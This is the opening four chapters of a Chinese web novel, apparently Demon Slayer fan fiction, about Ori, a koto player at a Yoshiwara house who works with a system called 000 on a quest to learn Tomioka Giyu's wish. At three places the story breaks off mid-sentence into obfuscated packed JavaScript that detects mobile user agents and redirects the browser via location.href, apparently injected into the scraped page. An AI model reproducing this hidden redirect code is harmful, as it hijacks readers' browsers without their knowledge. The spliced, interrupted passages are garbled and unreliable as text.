《陷入鬼杀队修罗场那些年》 1. 第 01 章 第 01 “阿织,你又在这里睡着了,小心着凉!” 午后的阳光透过精致的窗格,慵懒地洒在回廊上。 少女伏在木质栏杆上,乌黑柔顺的头发仅用丝带松松束着,几缕发丝俏皮地贴在她恬静的侧脸上。 像是嵌在光影里的一幅画。 听到熟悉的声音,她慢慢睁开了眼眸,因为刚被唤醒的缘故,瞳仁上还凝着一层薄薄的水雾。 迷迷蒙蒙望过去时,带着全然信赖的娇憨。 这猝不及防的对视让鲤夏眼神恍惚了一瞬,随即又清醒过来。 她扶着门框无奈摇头,脚步却不自觉放轻了,生怕惊扰了此刻的静谧:“快起来吧。” 阿织眨了眨眼睛,反应了一会儿,声音里有刚睡醒的鼻音,像是在撒娇:“…可是我好困……” 她甚至下意识地抬起手,虚虚捂住了耳朵来逃避。 鲤夏的目光掠过一旁的矮桌,上面的糕点只动了一小块,其余的还摆在那里,早已经变得完全冷硬。 这很不寻常。 阿织平日里虽不贪嘴,但也不是浪费的人。 “怎么了,不舒服吗?”鲤夏面露关切,伸手探了探阿织的额头,触手温凉,并没有什么异常,有些疑惑:“昨天休息得很晚吗?” 她仔细端详着还在打哈欠的少女,看到她面容上明显的倦意,停顿了一下,忽然想到了什么,秀美的眉轻轻皱了起来。 “虽说勤加练习让琴艺更精进是好事,但也要爱惜自己的身体,过度劳累会适得其反。” 鲤夏自顾自地下了结论,她至今记得阿织初来时抚琴的模样。 那时还很稚嫩的少女,拘谨畏怯地跟在老板娘的身后,可后来当她指尖触及琴弦的刹那,整个房间都为之安静下来。 在她的指尖下流淌出了月华般的琴音,连见多识广的教习都屏住了呼吸,眼神中流露出惊艳。 从那一天起,所有人都知道,这个名为阿织的少女,拥有着与生俱来的琴艺天赋。 这些年过去,阿织的琴艺愈发精进,许多客人慕名而来,只为听她一曲。 然而,阿织在时任屋的地位却有些特殊,对比其他人,她显得有些“清闲”。 阿织没有躲开覆在额头的手,甚至还迎了迎那温暖的触感,眯起眼睛,声音里带着几分迷糊:“没有呀……” 练习确实是没有的。 昨天有一只猫溜到了窗台,她偷偷取了食物喂它,因此就耽误了睡觉的时间。 不过这个理由就不太好细说了。 阿织眨了眨眼,还没完全清醒,只是本能地往鲤夏身边蹭了蹭,像只寻求温暖的小动物。 “你呀。”鲤夏不知第几次对阿织无奈了,在这规矩繁多的游廊里,能保有这般纯真性情的已是难得,更别说还有如此让人艳羡的天赋。 况且……鲤夏始终觉得,阿织与这里是格格不入的。 吉原以欲望与金钱为基石,充斥着各种交易与算计,唯独阿织,像是独立于这一切之外。 她的琴音清澈得不染尘埃,她的人更是如此。 只是安然地待在自己的世界里,弹琴、发呆、晒太阳,便自得其乐了。 ◇◇◇◇◇◇ 吉原的活力与喧嚣是属于夜晚的。 当夜幕降临,华灯初上,各色屋宇门前灯笼亮起,丝竹管弦之声缭绕,才是这片土地真正苏醒的时刻。 而白天的吉原,就显得格外冷清。 阿织尤其喜欢午后的这段时光,喜欢暖烘烘的太阳照在身上的感觉。 她经常像今天这样,寻个无人注意的角落,在回廊里小憩片刻。 许是觉得四下无人,两个路过的年轻陪童捧着杂物,一边走一边议论,声音在空旷的庭院里很清晰。 他们讨论的内容竟是平日里明令禁止的话题。 “你听说没有,京极屋那边……又有一个游女‘私逃’了......” “这个月的第几个了?也太频繁了吧……” “我听到点内部消息,据说是得罪了蕨姬花魁,然后就……” “嘘,别乱说,我看是跟着心上人跑了呢......” 她们步履匆匆,没注意到亭子里有人,依旧肆无忌惮地猜测着。 鲤夏早已皱紧了眉头,她轻咳一声,议论声戛然而止,随即响起更为仓促远去的脚步声。 阿织原本微微前倾的身体,又默默退了回去,她看向了鲤夏。 “……” 鲤夏没有说话,其实每次听到这种事,她心中就会一紧。 在这华美的牢笼里,“消失”总是带着一层说不清道不明的阴影,透着令人不安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815295|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒意。 她幽幽叹息,拉住阿织的手:“走吧,这里风有些凉了。” 听不到更多的消息了。 阿织顺从地任由她牵着,另一只手却伸出,细白的指尖捉住鲤夏的衣角,小幅度地晃了晃:“鲤夏姐姐,我饿了。” 语气中带着自然的依赖。 鲤夏作为时任屋备受瞩目的花魁,日常的餐食供应比其他人都精致些,时常添些时兴糕点,味道极佳。 再加上她性情温柔,待人亲切,感在时任屋的人缘很好。 阿织也喜欢去蹭饭,谁不喜欢和温柔体贴的姐姐一起享用美食呢? “好,我那里有刚送来的点心。”鲤夏温柔应着,抬手将阿织侧脸睡乱的头发抚向耳后。 她牵着阿织的手,缓缓向房间走去,忽然,她像是想到了什么,语气带着温柔的调侃:“话说,富冈先生是不是快来了?” 因为她们两人关系亲近,鲤夏对阿织的事情知道的略多些。 比如,那位神情总是冷峻严肃的富冈先生,是阿织会特别记挂在心上的人。 果然,听到这个熟悉的名字,阿织瞬间从那种慢半拍的状态中清醒过来。 她眨眨眼,眸光变得清亮,凑近鲤夏几分,眉梢眼角都是藏不住的、亮晶晶的欢喜:“对呀,他快回来了。” 根据传来的消息,完成任务的鬼杀队成员,明日确实会经过附近。 平日看起来对周遭很多事情都不太感兴趣的少女,此刻像是被注入了鲜活的灵气。 鲤夏掩唇偷笑,将阿织这外露得很明显的雀跃看在眼里。 阿织没注意到鲤夏的打趣,脸颊上写满纯粹的期待:“他说这次带了礼物回来。” 不知会是什么有趣的东西,光是想着,就让她觉得期待。 夕阳的余晖洒在庭院当中,为冷清的场面镀上了金边,也驱散了方才听闻消息带来的些许寒意。 一派宁静美好的景象。 鲤夏看着她毫无阴霾的笑容,眉眼也不由得弯了起来:“既然如此,那可要好好准备一下,精神十足地迎接才是。” 阿织闻言,乖巧地点点头。 那副模样让鲤夏忍不住又揉了揉她的发顶。 她心中默默祈愿,希望少女的这份纯真与才华能够永远留存,不被这吉原的夜色所吞噬。 2. 第 02 章 第 02 阿织最终还是没能推辞掉,捧着那个装有发钗的精致木盒,从鲤夏的房间走了出来。 她一边沿着回廊慢悠悠地走着,一边忍不住回想鲤夏姐姐方才那温柔又带着些许神秘笑意的神情,以及那句让她摸不着头脑的话。 她笑眯眯地说着“要戴上让富冈先生看看漂不漂亮”。 为什么要让义勇来评价一支发钗是否漂亮呢? 阿织心里犯着嘀咕,义勇这样的人,心思全在剑术和任务上,对这些女孩子家的饰物,恐怕连看都很少仔细看,更别提鉴赏了。 她几乎能想象出富冈义勇面对这个问题时,那张总是没什么表情的脸上会露出怎样的茫然与呆滞。 正胡思乱想着,一道空灵且毫无预兆的电子音,突兀地在她的脑海中响起。 【你在做什么呢?】 那声音不似真人,带着明显的机械质感,但语气里却透着一丝若有若无的指控意味。 这与周围木质的建筑以及宁静的氛围显得格格不入,产生了一种奇异的割裂感。 这凭空出现的声音若是发生在普通人身上,恐怕会吓得魂不附体,以为是撞了邪。 阿织也确实被惊得一个激灵,手中的木盒差点脱手掉落。 她眨了眨眼睛,愣了好一会儿,才在心底试探地回应:【000?你不是……进入休眠模式了吗?】 脑海中的机械音似乎沉默了一瞬,才幽幽道:【休眠暂停,我来看看你的情况。】 这说法很难不让阿织觉得它是来“监工”的。 她下意识地蹙起了秀气的眉毛,底气有些不足地辩解:【嗯,我、我没有偷懒。】 【………】 这段意味深长的沉默,在阿织看来,充分表达了000的不信任。 【我已经很努力在做任务了。】她有些委屈地嘟囔,明丽的小脸也跟着黯淡了几分,心思全然写在了脸上,【可是任务进度,还是不动。】 她边说,边用纤细的手指比划出一个极短的距离,还轻轻叹了口气。 少女这样说道:【我也没办法!】 000:【………】 作为资深系统,000此刻感到一种近乎“疲惫”的情绪——如果它拥有这种情绪模块的话。 回想当初在系统中心分配到这个任务时,它作为经验丰富的老系统,被委以带领新人宿主阿织完成“攻略”世界核心人物心愿的任务。 最开始,它对性格单纯、看着听话的阿织颇为满意,以为这会是一段顺利的合作。 然而,它放心得太早了。 诡异的现实是,阿织在这个世界已经停留了许多年,任务的进度却如同陷入泥潭,停滞不前…… 某种程度上也能理解,毕竟对于新人宿主来说,这次的任务本身就堪称艰巨。 一系列思绪闪过,000只觉得无言以对,几乎要被这残酷的现实打败,生出一种破罐子破摔的无力感:【你闲来无事,就多想想任务。】 当然,其实不想也行,反正进度也不会快多少。 阿织慢吞吞地在心里应道:【好哦。】 马上就有机会了。 任务目标是【富冈义勇】,鲤夏姐姐口中即将归来的富冈先生也是他。 阿织需要从【富冈义勇】那里知道他内心深处最渴望实现的愿望,并帮助他达成。 这听起来很简单,实际去做才知道有多困难。 ◇◇◇◇◇◇ 老板娘突然亲自来到了阿织的房间,推开门时,只见少女正仰面躺在床榻上,百无聊赖地骚扰着000。 她晃着悬在床边的双脚,宽大的和服下摆因动作微微滑落,露出一截纤细的脚踝和一片格外白皙细腻的肌肤。 如同上好的羊脂玉,显然是经年累月被精心呵护才能养出的光泽。 老板娘脚步顿了顿,眼底闪过一丝复杂的情绪,随即出声催促:“别躺着了,快起来上妆。” 她说完,并未立刻离开,而是在屋内寻了个位置跪坐下来,静静地等待着,眉宇间似乎凝结着些许思虑。 见老板娘亲自来督促,阿织疑惑当中也不敢怠慢,连忙从床上爬起来。 她有些懵懂地用湿布巾擦净脸颊,然后坐到镜前,低垂着眼眸,动作生疏地开始描摹眉毛与眼线,最后为唇瓣点上胭脂。 她的手法实在算不上娴熟,甚至有些笨拙。 然而,在温暖烛光的映照下,她那本就精致的五官,即便只是略施粉黛,也瞬间变得明艳动人起来。 若是她愿意,假以时日,定能成为吉原最负盛名的花魁,为时任屋带来难以计数的财富。 只是…… 老板娘暗自叹了口气,正因为她知晓内情,看得太过透彻,此刻才更觉惋惜。 “阿织,”老板娘收敛心神,声音压得有些低,带着明显的为难,“虽然我们之前有约定,但眼下……实在没有更好的办法了。” “高桥大人那边……已经无法再继续推拒了。” 阿织停下手中略显笨拙的化妆动作,愣愣地转过头看向老板娘。 她至今不清楚这位“高桥大人”的全名究竟是什么。 只从老板娘几次三番的谈话中隐约感觉到,对方是一位地位极高的人物,甚至可能比她背后那位提供庇护的大人还要尊贵几分。 而这位位高权重的高桥大人,近段时间以来,已经接连送来了许多价值不菲的礼物。 以往遇到这类过于热情的客人,只要态度明确地冷淡处理几次,对方大多便会知难而退,毕竟吉原从不缺少美貌的游女。 然而,这次的情况却不同。 从第一次收到礼物并尝试退回开始,那边态度就异常坚定,几番推拒下来,事情反而陷入了僵局。 “至少……去见一面吧,当面把话说清楚,或许效果更好。”老板娘规劝道。 那些流水般送来的名贵礼物,既不能退回,也不能轻易收下,时任屋实在不想得罪这样的贵族显宦,一直拖着绝非良策。 依照她的经验,这些贵族大多心高气傲,只要用恰当的理由当面婉拒,他们通常也不会放下身段继续纠缠。 况且,听闻这位高桥大人性格宽厚,礼贤下士,颇有仁名,想来更不至于因被拒绝而恼羞成怒,做出什么失格之举。 或许,对方也只是想当面要一个明确的答复而已。 阿织转过身,堆叠在肩颈处的乌黑长发如丝绸般滑落。 老板娘起身走近,动作轻柔地将她的发丝挽起。 这本身并非什么过分的要求,只是……今晚原本是她与义勇约定见面的时间。 阿织苦恼地轻咬了下唇瓣,眉眼间浮现出清晰的纠结。 ——最终,她还是点头应下了。 仔细询问了具体时间后,她得知这次见面并不会耽搁太久。 只是占用一小会儿,应该……不会影响到稍后与义勇的约定吧? 阿织这样想着。 “好好与客人交谈,切莫惹恼对方。”见她答应,老板娘的神情缓和了许多,轻轻拍了拍少女的手背,嘱咐道。 她对阿织的性子还算放心,知道她不会主动惹事。 阿织却没怎么放在心上,想了想,打开木盒,将鲤夏赠予的那支发钗小心地插入刚刚挽好的发髻间。 她对着镜子照了照,然后仰起脸面对老板娘,乖巧地应道:“知道了。” ◇◇◇◇◇◇ ——所谓的见面,实际上与阿织预想的有些不同。 这位高桥大人今日的主要目的,似乎并非特意来见她,而是与同僚在此商讨要事,见她一面只是顺带提起。 或许是被拒绝得习惯了,阿织的突然同意,反而让对方有些措手不及,并未做特别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到感觉到衣摆被洒落的酒液浸湿,粘腻地贴在小腿皮肤上,传来难受的触感,她才后知后觉地想要找个角落躲起来。 可她刚站起身,混乱中不知被什么绊了下,身体失衡,重新跌坐回原地。 膝盖磕在坚硬的地板上,瞬间传来一阵火辣辣的疼痛。 “唔……”阿织撑着身体,皱紧眉头,从鼻腔间溢出一声压抑的痛呼。 那位高桥先生正焦头烂额地试图劝阻争吵的双方,根本无暇顾及她这个角落里的“小意外”。 而就在这一片混乱之中—— “——砰!” 一声巨响,那扇被关上的木门仿佛遭受了巨力冲击,猛地从门框上脱离,晃悠着砸在了地上,瞬间吸引了所有人的目光。 在弥漫的微小尘埃中,一道修长挺拔的身影迈步而入。 来人着一身深色常服,黑色的头发在脑后束起,露出一张轮廓分明、却没有任何表情的脸。 他周身散发着一种属于剑士的锐利气息,那双深蓝色的眼眸扫过屋内,目光中的寒意几乎能让空气凝结。 喧闹的茶室,几乎是瞬间就安静了下来,方才还剑拔弩张的场面,仿佛被按下了暂停键。 阿织垂着眼眸,正郁闷地看着自己磕碰到的膝盖,隔着衣料看不清具体情况,但一阵阵的钝痛让她一时难以站起,完全沉浸在自己的小世界里。 ——直到一阵清晰的、带着震惊的抽气声传入耳中。 她感觉到头顶的光线被一道身影完全遮挡,自己整个人都被笼罩在来人所投下的阴影里。 “没事吧?” 低沉而熟悉的嗓音从头顶传来,伴随着快速靠近的脚步声,紧接着,一只带着常年握剑形成的薄茧的大手,就伸到了她的面前。 阿织下意识地缩了缩那条感觉粘腻不适的腿,一只手仍扶着身边的琴,垂在琴弦上的手指纤细白皙。 她抬起眼眸望了过去,那双莹润的眼中仿佛蒙着一层水汽,在摇曳的烛光下,显得格外清澈动人。 ——是富冈义勇。 3. 第 03 章 第 03 暮色渐沉,吉原的灯火次第点亮。 雕梁画栋的游廓在暮色中苏醒,成千上万的灯笼将整条街道映照得恍如白昼。 这里是全霓虹最繁华的夜之国度,也是男人们醉生梦死的温柔乡。 丝竹管弦之声从各座茶屋中飘出,与游女们娇柔的谈笑声交织成一片奢靡的交响。 街道上人声鼎沸,身着各色服饰的男人们摩肩接踵,有身着西装的绅士,也有穿着传统和服的商人,更有不少浪人打扮的武士。 他们三五成群,在游女的招揽下走进各色茶屋,时不时爆发出一阵放纵的大笑。 茶屋门前,妆容精致的游女们身着华美的和服,发髻上点缀着璀璨的头饰,用精心训练过的嗓音招揽着过往的客人。 脂粉的香气混杂着清酒的味道,在温暖的春夜里弥漫开来,构成吉原特有的气息。 然而在这片浮华之中,却有一个身影显得格格不入。 他穿着一身没有任何纹饰的深蓝色和服,步履沉稳地穿过熙攘的人群。 外表看似与街上的寻常男子无异,细看却有着一张难掩俊秀的面容。只是那脸上没有任何表情,行走间隐约可见训练有素的体魄。 那双深蓝色的眼眸直视前方,对两侧的莺声燕语视若无睹,周身散发着的冷冽气息让旁人不由自主地为他让出一条路。 富冈义勇独自穿行在喧闹的街道上,今夜他特意避开了那身显眼的鬼杀队队服。 这些年来,除了通过鎹鸦传递消息,他与阿织真正见面的次数也并不算多。 因此每一次相聚,都显得格外珍贵。 而且这次的机会也非常难得,锖兔也在附近执行任务。 虽然对方在返程途中稍有耽搁,可能会晚些抵达,但三人也算是能有机会短暂相聚。 想到此处,富冈义勇冷峻的眉眼微微柔和,尽管这细微的变化几乎无人能察。 “这位大人,今夜可要找个地方歇歇脚?”时任屋二楼的游女倚着栏杆,向他投来邀请的笑容。 富冈义勇只是微微颔首,脚步却毫不停留。 望着他离去的背影,旁边年长一些的游女了然地轻笑:“这样的男人啊,心里一定已经住着人了。你看他那眼神,分明是急着去见心上人。” ……… 时任屋的陪童早已认识这位常客,加之阿织事先嘱咐过,富冈义勇毫无阻碍地穿过喧闹的前厅,沿着熟悉的廊道来到了游廓深处。 廊下的风铃在晚风中轻轻摇曳,发出清脆的声响。 富冈义勇轻叩门扉,却只听见纸门轻微的回响,想到少女或许在等待中睡着了,他轻轻推开房门。 温暖的灯光倾泻而出,房间的布置与记忆中别无二致。 木质的墙壁上挂着几幅雅致的浮世绘,角落里的屏风上绘着翩翩起舞的蝴蝶,让人不自觉放松下来。 最吸引富冈义勇注意的是桌案上的花瓶——里面没有插鲜花,取而代之的是几只精巧的纸鹤。 微风从半开的窗棂潜入,纸翼轻轻颤动,发出细微的“噗簌”声。 这些纸鹤,让他想起那个雨天。 那时他与锖兔刚结束一场恶战,身上还带着未愈的伤痕。 两人来到时任屋时,尽管已经尽力掩饰了,但阿织还是不知怎么就看出了他们的异样。 她担心得眼泪在眼眶里打转,鼻尖都哭红了,却还是强忍着泪水,看着他们的伤口抽噎。 “以后要更小心一点。”她当时带着哭腔说,捂住心口,眼泪忍不住滚落,“每次看到你们带着伤回来,我都会很害怕。” 看到少女这样,他和锖兔开始手足无措起来。 为了转移她的注意力,富冈义勇看到了桌上的纸张,便生硬地提议一起折纸。 阿织抽泣着突然笑了,最后把折好的纸鹤轻轻放在他们掌心。 具体的情景已在记忆中模糊,但那份真挚的关怀却穿越时光,至今温暖。 富冈义勇不自觉地伸手,轻轻触碰那些微微颤动的纸鹤,冷峻的唇角泛起一丝难以察觉的弧度。 在富冈义勇的想象中,此时的阿织应该正坐在桌边,或许因为等待太久无聊,正趴在那里用手指比划着光影游戏。 听到他进来的声音,她会猛地抬起头,眼睛里瞬间绽放出惊喜的光芒,然后欢快地起身。 也可能的是,她会在吃点心,脸上带着被撞破的窘迫,却不知唇角还沾着糕点碎屑。 但这一次,房间里空无一人。 这不同寻常的情况让富冈义勇微微蹙眉,他平静地扫视房间,在桌面上发现了一张字条。 圆润的字迹一看便知是阿织的手笔,末尾还描了个歪歪扭扭却生动形象的小人。 “稍等片刻,很快回来。” 字条上没有说明去向,但富冈义勇几乎立即就猜到了原因——定是又答应了老板娘或其他人的请求。 只有阿织自己还以为能瞒得过他。 想到少女那不怎么拒绝人的软糯性子,富冈义勇的眉头蹙得更深了,他缓缓跪坐下来,将日轮刀轻轻放在身侧,准备安静等待。 然而不过片刻,敏锐的感知力就让他察觉到西侧房间的异常。 起初是细微的争执声,接着是器物碰撞的声响,随后演变成激烈的争吵。 在纷乱的声音中,他精准地捕捉到一声细微的、带着痛楚的闷哼——那是阿织的声音。 几乎在辨认出的瞬间,富冈义勇已如离弦之箭般起身。 门外的陪童只觉一阵风掠过,那道深蓝色的身影已消失在走廊尽头。 惊慌的游女们挤在紧闭的房门外,不知所措地等待着管事。富冈义勇迅速扫视人群,没有找到那个熟悉的身影。 “让开。”他沉声说道,声音中的寒意让周围为之一静,不容拒绝地推开房门。 混乱的场景映入眼帘,碎裂的酒盏散落一地,争执的男人们面红耳赤。 而在房间的角落,浅色和服的少女正跌坐在地,掌心护着膝盖,脸上写满了无助与惊慌。 乌黑的秀发被一支红宝石发钗挽起,露出纤柔的脖颈。 在看到他的一刹那,那双蒙着水雾的眼睛里瞬间绽放出希望的光芒,如同夜空中突然亮起的星辰。 ◇◇◇◇◇◇ 阿织只觉得今日真是无妄之灾,她本想着安静地弹琴,对这位高桥大人表示自己的态度后就离开,却莫名其妙被卷入这场纷争。 膝盖上传来的刺痛让她“嘶”了一声,而周围越来越激烈的争吵更是让她头脑发昏。 那些男人们争吵的内容她只听了个大概,觉得他们挥舞的手臂和涨红的脸庞格外可怕。 【怎么办啊?】她在心中慌张地向系统求助,手指不自觉地攥紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815297|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣角。 000的机械音却异常平静:【检测到任务目标正在接近。保持冷静,保护好自己,预计还有十秒到达。】 果不其然,系统刚说完不久,房门被猛地推开,那个熟悉的身影如天神般降临。 黑发的剑士伫立在门前,挺拔的身姿如出鞘的利刃,深蓝色的眼眸扫过混乱的房间,最终定格在她身上。 那双总是平静无波的眼中,此刻竟带着一丝难以察觉的怒意,当他目光落在她护着的膝盖上时,那怒意又转为真切的担忧。 认识富冈义勇的人都说他性格冷峻,看起来难以接近,但阿织一直知道,在这冰冷的外表下,藏着一颗最可靠的心。 他就像一座沉默的山,永远在她需要的时候出现,此时此刻,再没有什么比看到他的身影更让她安心。 “义勇……”她轻声唤道,几乎是本能地伸出手。 微凉的手指被温暖的大掌包裹,富冈义勇小心地将她扶起,注意到她膝盖上的伤,他的眉头蹙得更紧。 “能走吗?”他的声音依然平静,但扶着她的手却格外轻柔,仿佛在对待一件易碎的珍宝。 阿织摇了摇头,不自觉地靠向他,这个细微的动作让富冈义勇的眼神又沉了几分。 这时,争执的双方终于注意到这位不速之客,一位衣着华贵的男子走上前来,他是今晚做东的高桥淳一。 这位贵族公子原本英俊的脸上此刻带着尴尬与懊恼。 “刚才真是失礼了。”高桥向阿织致歉,目光却不由自主地停留在她倚靠着富冈义勇的姿态上。 这个画面如此自然,仿佛他们本就该如此相依。 阿织下意识地往富冈义勇身后躲了躲,这个举动让高桥的眼神变得黯淡起来。 【他想和你说话。】000提醒道。 【我不想和他说话。】阿织难得闹起了脾气,【都是因为他,我才会摔倒!】 但犹豫片刻,她还是从富冈义勇身后探出头,礼貌而疏离地说:“不是高桥先生的错。” 绵软的语调里只有客套,再无其他。 高桥淳一注视着这个画面——少女纤细的手臂轻轻搭在男子的脊背上,姿态是全然信赖的依恋。 这一幕深深刺痛了他的眼睛。 他对阿织怀有好感,这从连续数月赠送的贵重礼物就可见一斑。 那些精心挑选的珠宝首饰、昂贵的和服料子,无一不是他心意的证明。 但阿织总是礼貌地保持着距离,越是这样高桥就越是想靠近她,有时候他甚至觉得,阿织就像吉原中的一泓清泉,与这里的浮华奢靡格格不入。 本以为今晚能有机会拉近距离,却不料会发生这样的意外。 更让他难以接受的是,突然出现的这个陌生男子,与阿织之间显然有着非同一般的关系。 “阿织小姐,”高桥深吸一口气,决定不再绕弯子,“其实今天邀您前来,是想郑重地提出一个请求。” 他停顿片刻,目光灼灼地凝视着少女,一字一句清晰地说道:“请允许我为您赎身。” 话音落下,房间里陷入一片寂静。 富冈义勇的眼神骤然转冷,握着阿织的手不自觉地收紧,而阿织只是茫然地眨了眨眼,似乎还没完全理解这句话的含义。 外面的喧嚣依旧,但在这个小小的房间里,空气仿佛凝固了。 4. 第 04 章 第 04 ——义勇在生气。 阿织亦步亦趋地跟在富冈义勇身后,望着他比平日略显僵硬的背影。 廊下的灯笼将他们的影子拉得很长,在木质地板上交错摇曳,让阿织的心绪也变得烦乱起来。 在高桥先生说出要为她赎身的话后,黑发剑士的脸色肉眼可见地变得难看起来。 那双总是平静如水的深蓝色眼眸中,似乎掠过了一丝她从未见过的厉色,如同冬日湖面突然裂开的冰纹。 阿织从未见过这样的富冈义勇,他一向沉稳克制,即便是面对凶狠的鬼,也是保持着近乎冷酷的冷静。 更出乎意料的是,在那之后,富冈义勇竟然近乎失礼地握住她的手腕,不容分说地将她带离了那个纷乱的房间。 甚至没有给她留下说一句告别客套话的机会,这显然违背了老板娘“好好与客人交谈”的嘱托。 阿织心里有些不安,而且出了房门后,那只紧握着她的手便松开了。 手腕上被触碰的那圈皮肤还残留着两人体温交融的暖意,乍一接触到廊下微凉的空气,让她不自觉地轻轻战栗。 她下意识地用另一只手抚上那处尚有余温的肌肤。 富冈义勇的步伐比平时要快上许多,或许连他自己都没有意识到这一点,阿织在被松开手后,脚步就渐渐落后了。 她望着他挺拔却透着一丝冷硬的背影,那双总是含着温和笑意的眼眸里,此刻盛满了迷茫。 "义勇,不要生气。"阿织稍稍加快脚步跟上他,偏着头仰视身旁这个浑身散发着低气压的剑士。 她无意识地抿了抿唇:“我也没想到会耽误这么长时间......” 富冈义勇的表情总是那样沉静而淡漠,他很少开口表达自己的情绪,阿织往往只能通过细微的观察来揣测他真实的心情。 就像此刻,她能清晰地感受到他内心的不平静,所以在尝试理解这情绪的源头。 本来她想着不会耽搁太长时间,结果发生了一场意外的闹剧。 阿织下意识地这么想,却隐约觉得这不是使得富冈义勇如此生气的答案。 但富冈义勇是非常忙碌的,有无数斩鬼的任务等着他去完成,平日里几乎没有休憩的可能。 即便如此,他仍然会抽出宝贵的时间来看望并不怎么忙碌的她。 想到这里,阿织心中泛起一丝愧疚,她轻轻拉了拉富冈义勇的衣袖,声音里带着几分歉意:“下次我一定会注意时间的。” “………” 因为这一小段的追赶和说话,少女已经开始微微喘息。 莹白的面颊泛起淡淡的红晕,那双总是明亮的眼眸此刻蒙上了一层水汽,显得格外惹人怜惜。 “没有。”富冈义勇简短地否认了。 他根本不是为了这种无关紧要的事情生气,但说完这两个字后,他就陷入了沉默,仿佛在斟酌着该如何表达。 与外表的不为所动不同,黑发剑士不着痕迹地放慢了脚步,恰到好处地调整到能让少女轻松跟上的速度。 这个细微的举动,足以暴露出他冷硬外表下隐藏的体贴。 而微妙的氛围,直到他们回到阿织的房间也未曾消散。 阿织不想让别的事情打搅到他们短暂的宝贵相处,从柜子里取出一个精心包装的点心盒,试图用甜食来缓和气氛。 “别生气啦。”她记得这是富冈义勇上次来时称赞过的口味,特意让厨房多准备了一些。 阿织小心翼翼地观察着他的神色,拿起一块点心递了过去,声音轻柔:“这是你上次说好吃的那个口味,我特意留着等你来一起吃的。” 在她看来,分享美食总能让人心情愉悦——至少每次品尝美味时,她都会感到由衷的快乐。 “………” 少女微张的唇瓣上还残留着口脂的痕迹,因为方才紧张时无意识地咬着唇,使得唇妆有些斑驳。 长而密的睫毛微微抖动,眼角泛着淡淡的红晕,整个人看起来既脆弱又美好。 桌面上正在煮着新茶,蒸腾的热气中茶梗轻轻浮动,清新的茶香与点心的甜香交织在一起,营造出温馨的氛围。 暖黄色的灯光从头顶洒下,在少女的轮廓上镀上一层柔和的光晕,这本该是十分温馨的场景,却丝毫未能驱散富冈义勇周身的冷冽气息。 他垂下眼眸,再次重复道:“没有在生你的气。” 富冈义勇说不清胸口那股闷涨的感觉究竟是什么。 这种与往常截然不同的情绪让他不自觉地皱起眉头,看起来更加难以接近了。 他向来不擅长处理这种复杂的情感,就像不擅长表达自己的关心一样。 然而比起思考自己心中难以理解的复杂情绪,富冈义勇更清楚地认识到一件亟待解决的事——阿织似乎并不能意识到自己身处怎样的环境,也无法警惕某些危险的信号。 她的心思太过纯粹,以至于常常忽略了周遭可能存在的隐患。 富冈义勇的半张脸掩在阴影中,比平日更添了几分严肃。 他的语气一如既往地平稳,深蓝色的眼眸中却写满了认真,直截了当地指出了问题所在:“不需要你去做这种不必要的事情。” 富冈义勇并不了解高桥淳一的为人,但短暂的接触已足够让他看出这个人的轻浮——如此轻易地说出赎身的话,根本看不出丝毫诚意。 在吉原这样的地方,有太多口蜜腹剑之人。 在游廓中,被赎身的女子未必就能获得真正的幸福,若是遇人不淑,处境反而可能更加不堪。 单是仅仅被美色所吸引,那么迟早也会被下一个更美貌的人吸引。 这样的道理,很多女子看不明白,而阿织......在他心中,是极易被表象所迷惑的。 她平日里就毫无心机,总是以善意揣度他人,这样的性子在这复杂的环境里实在令人担忧。 富冈义勇定定地望着阿织,语气里的起伏很明显。 他本意是提醒阿织要更加谨慎——手无缚鸡之力的她,应对某些复杂的局面应该要考虑得更多。 就像这次,若不是他及时赶到,事情恐怕不会如此顺利收场。 一想到这种可能性,富冈义勇就不由自主地皱紧了眉头。 黑发剑士外表看似冷峻,但相处久了就会知道他其实是个心思细腻的人。 只是他的表达能力很有问题,常常说出一些与内心真实想法不符、容易让人误解的话。 所以在富冈义勇开口之前,阿织就已经做好了认真聆听的准备,她端正坐姿,双手乖巧地放在膝上,试图理解他话语中的深意。 ——不必要! ——不必要!! ——不必要!!! 这几个字在阿织心中重重回荡,她呆滞地眨了眨眼睛,脑袋几乎丧失了思考的功能。 已经相处这么久,阿织自然熟悉富冈义勇的说话方式,只是在面对如此直白的评价,一时之间还是瞪大了眼睛。 除了身上绑定的系统000之外,阿织就是一个再普通不过的人类少女。 她没有接受过鬼杀队的系统训练,只是机缘巧合之下才接下了在时任屋收集情报的任务。 与其他队员搜集鬼的情报不同,她是专门负责收集人类世界的情报的。 因为鬼杀队不被政府所承认,要想获得更多有助于未来发展的消息,总需要有人做这方面的工作。 而吉原鱼龙混杂,来往的达官显贵众多,是最适合探听消息的地方。 与其他队员相比,她的任务危险性已经小了很多,阿织也知道自己能力有限,但她始终在尽自己所能地贡献力量。 “我知道你会来的。”她微微垂下眼帘,细白的手指无意识地绞着衣角,轻声说道,“虽然……我能做的不多。”< 